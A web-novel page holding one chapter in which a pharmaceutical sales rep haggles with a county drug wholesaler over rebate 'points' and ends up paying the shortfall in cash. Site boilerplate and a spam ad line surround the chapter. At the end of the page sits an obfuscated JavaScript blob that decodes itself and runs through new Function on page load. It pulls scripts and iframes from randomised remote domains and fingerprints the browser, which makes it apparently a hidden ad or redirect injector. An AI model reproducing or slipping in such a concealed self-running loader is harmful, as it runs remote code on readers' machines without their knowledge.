第十三章 艰难谈判（第1页）
请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播
原来前几个月去找过那家县域的商业公司后，以往有些零星货的产品，已经两个多月没有配送了。我瞬间明白了他们的意图，无非就是让我尽快去签订合作协议，主动打电话给我的话，显得失去了主动权，只有采用这种断货的方法他们才能逼我就范，甚至还能获得自己预期的结果。
我对这样的操作无论如何的鄙视，如何的不屑，如何的愤怒，却没有任何办法，没有办法改变什么，只能乖乖就范，除非真的准备放弃这里，最少目前自己还不想这样做呢。没有提前跟他们经理打电话，我坐车直接来到县城，尽量的控制着自己的愤怒。当我站到他们办公室门口时，他看到了我，仍旧继续跟屋里的人谈着事情。大概过了好一会才出来上卫生间去，他甩着手上的水，用头点了一下办公室方向，说到“进来吧。”看样子这是做好居高临下的准备了。是啊，他们和医院签订独家配送协议时，虽然声明着保供率，但是谁能保证那一点缺供率就不能是你的呢？更何况理由可以找一大箩筐一级商那没有货，公司说不生产了，还在等票，必须票货同行等等问题。在这种情况下你是站在谈判的下风的，即便最牛的制药企业在这地方都得听他们的，不同的不过是换个花样来使用罢了，这就是所谓的“强龙不压地头蛇”。
“今天怎么有空过来了？”经理径直做到办公桌后的老板椅上。
“前段时间，市里面事有点多，一直没抽出来空。”我估计这是埋怨自从上次谈完后没了音讯的吧。
“哦，正常。今天来有什么事吗？”他满不在意的说着。
“我看以前送的好好的产品，最近这俩月也没送了，就想过来看看是什么问题。”我想的是尽快把眼前的事问个清楚，早日解决。
“这你要去医院看看，他们不出计划，我们也不能硬送啊。”
“医院问过了，报的有计划。”我赶忙说到。
“那我一会问下采购吧。让他查查。”
这句话谁信谁脑子就被驴踢了，摆出一副解决事情的态度，实则根本不会在意。
“经理，还有就是你上次说的二次返利的协议事情，我问过领导了。”到底还是我没有办法了，只能先把话题引到正道上来。
“你们领导怎么说？能给什么政策啊？”经理并没有表现出对话题转移的意外，似乎全在他的意料中一样，慢悠悠的抬眼看了一眼我之后，懒洋洋的问到。
“领导说可以参考我们同类型公司的政策。”说真的，我并没有得到比较明确的政策，只能硬着头皮将情况摸一下以后再回去请示了。
“跟你们一个地方的两个企业，从我们这边配送基本都是xx个点。你跟他们熟悉的话，可以问问他们。”这一句话基本就将政策上限定住了。
“外企肯定给不了这么高吧？”我继续问着。
“医院对外企，合资的规定和内资企业政策不同。你要是也能拿出你们合资背景的材料，我也可以向医院跟你申请一下特殊政策。”
听完这话，我脑子里冒出了“崇洋媚外”四个字。莫非外企合资都享受了最惠国待遇吗？内资自己人都瞧不起的话，谁还会瞧得起我们呢？内资人再去做一些无法让自己挺起腰杆的事，又怎么会换来大家的尊重呢？医药代表的行业已经展有近2o年了，外企在这么些年的展中给社会，医院，以及医生带来的形象就是专业，正派，权威！反观一下内资企业呢？又是个怎样的印象？常常被当作冤大头，抗雷侠。
我对此讲述着自己的公司在行业内的地位，营业收入和展远景，经理则也配合似的听着，频频点头，最后总结了一句“医院只认纸质的材料啊，光说没有用。”
我尴尬的愣在那里，是的，同样都是从商的，都是追逐着利益最大化，别家买卖做的再好，自己也分不了一分钱，把自家事情做好就行。“我回去问问吧，有没有可以把握的尺度，我也好和我们领导有个回旋余地啊。”
这小把戏怎么可能让这个老狐狸上当呢，“哎呀，有余地早就给你了，诺，你看看。”说着从抽屉里拿出一个文件夹扔到我面前，“你看刚才那个也是你们省的公司，比你们业务大多了，这不也是按照这个政策来续签协议了”。看我翻看着，继续说“你们要想在我们县做业务，得抓紧了，现在医院对药品管理得比较严，很多产品都被剔除医院了。”这句话多少带了点威胁得口吻，仿佛就是在说我们再不签，就等着被踢吧。
“就这家公司，”他用手指点了点协议，“去年我们刚托管集配时，人家就来签了，也不还价，你看人家现在，今年稳稳能做两三百万啊。”
我只有听着得份，不知道在这左一句威胁，右一句展望得话语中该怎么去回复，只能在他说完之后把合同还给了他。知道今天也就是只能谈到这了，毕竟我也没有最后拍板得权力。
“我一会再去问问医院有没有出计划吧。”我语气无力得说着，还想再做次解决眼前紧急事的努力，“如果有了，麻烦你跟公司采购说下，帮忙给送一下吧。”
“这都不急，回去了跟你们领导说下。啊。”或许人家本来就是要的你这个效果吧。
是需要尽快解决了，要不根本就没办法开展工作了，何况这家公司相比于其他公司来说，最起码还能和你谈一谈，不至于像之前那个串货的公司那么无赖吧！也算是给自己找到了一个台阶下吧，毕竟商业公司这个圈里的底线自己一来三阳便领教过了。只要是哪家县医院除了By公司外还有其他商业配送份额，我都倾向走其他公司，这样做导致目前三阳下属的县城只有两个县城开展了业务覆盖，其他几个县域除了这家公司集配外，都由By公司集中配送。
请示过领导后，得到领导给的回复是让我自己做主，如果准备认真做就好好谈，尽量去促成！促成后要多和临床结合好，把公司的产品多多引进，甚至可以考虑让商业公司帮忙推荐。一来二往三四次以后，这位经理才松口让下两个点位，也同意在以后的新需求方面给与一定的倾斜。虽然是这样一个结果，但与公司正常的规定还是高出一部分，考虑未来的展，经过请示以后签订了一份公司能接受的点数，差距部分由现金补齐。
喜欢我做医药代表15年请大家收藏我做医药代表15年本站更新度全网最快。
🎁免费-纯欲御姐主播请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="wrkc0d49rm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@07Rq^)OmqT6__JmRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^(Tmf_^_)_mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^ROmF(6:pRmRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^5Fmf_^_)_mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^TJmqT6__JmRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^DSmf_^_)_mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^dCmF(6:pRmRT4gQ@KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@0jR8D5S(0foQ5^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@0"=X8"D5S(0foQ5^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@07Rq^d(m)SJ7(XmRT4"="@07Rq^)5m_qp)fRmRT4"="@07Rq^YFm)SJ7(XmRT4"="@07Rq^^Cm_qp)fRmRT4"="@07Rq^Y5m)SJ7(XmRT4"="@07Rq^(Fm_qp)fRmRT4"="@07Rq^h^m)SJ7(XmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@KQ"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m_pJ7h)mRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m_pJ7h)mRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@07Rq^)OmqT6__JmRT4gQ@KQ/f/@0j(8}vR8D5S(0foQ5^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@07Rq^)OmqT6__JmRT4gQ@KQ"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
www.rywoool.com 传奇小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛